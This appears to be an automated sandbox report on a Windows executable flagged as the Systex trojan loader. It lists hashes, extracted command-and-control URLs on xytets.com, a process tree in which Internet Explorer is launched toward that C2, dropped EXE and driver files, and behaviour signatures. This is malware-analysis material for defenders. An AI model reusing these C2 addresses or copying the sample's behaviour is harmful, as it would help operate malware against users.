Overview

overview

10

Static

static

10

2026-07-12...op.exe

windows10-2004-x64

10

2026-07-12...op.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/07/2026, 14:27

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General

  • Target
    2026-07-12_08bc9bb8a418f2b9851b20add3d90250_amadey_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
  • Size 376KB
  • Sample260712-rssysadw6x
  • SHA256 57f346b0f9dd1254fa1c0c982ceebb62e451b53782b12e34257fc18b618f006c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarediscoverysystexspywaretrojan

Malware Config

Extracted

Family

  • systex

C2

  • http://xytets.com:2345/t.asp?os=wangba

  • http://xytets.com:2345/t.asp?os=home

  • http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

  • Family: Systex

    Systex is a trojan loader written in C++.

    trojansystex
  • Executes dropped EXE 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-12_08bc9bb8a418f2b9851b20add3d90250_amadey_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-12_08bc9bb8a418f2b9851b20add3d90250_amadey_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Temp\nhfzxspkhcausmkf.exe
      C:\Temp\nhfzxspkhcausmkf.exe run
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:536
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6064
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6064 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:1800
  • C:\Temp\nhfzxspkhcausmkf.sys
    C:\Temp\nhfzxspkhcausmkf.sys
    1⤵
    • Executes dropped EXE
    PID:5044

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        nhfzxspkhcausmkf.exe
        • Path C:\Temp\nhfzxspkhcausmkf.exe
        • Size 376KB
        • SHA256 0e6ad6105022ded3c8c63e4c02b6c840457233cdcb2231e4fdab626a2df9557d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        nhfzxspkhcausmkf.sys
        • Path C:\Temp\nhfzxspkhcausmkf.sys
        • Size 293KB
        • SHA256 f478b9853a28cba90859bd36d90950b671af034ccbca37fdb76d619e4724bb4f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
        • Size 471B
        • SHA256 e1a92d22d8fb309a08c5e6c1ba4cb182b2d9d8db2ad22be4bf00f3efa176d1c6
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
        • Size 416B
        • SHA256 5635a9367ada15bdfddea3688baea9589e9ef47d1017efe48d11646e1a7f532f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        suggestions[1].en-US
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\7EOZKXVE\suggestions[1].en-US
        • Size 17KB
        • SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        CreateProcess.exe
        • Path C:\temp\CreateProcess.exe
        • Size 3KB
        • SHA256 578685c441a9af4de5bb7f60b2b4296069f4da8ce8e15533b0227d06236a7635
        • MD5 SHA1 SHA512
        Submit Download

        memory/5044-9-0x0000000000010000-0x00000000000AB000-memory.dmp
        Download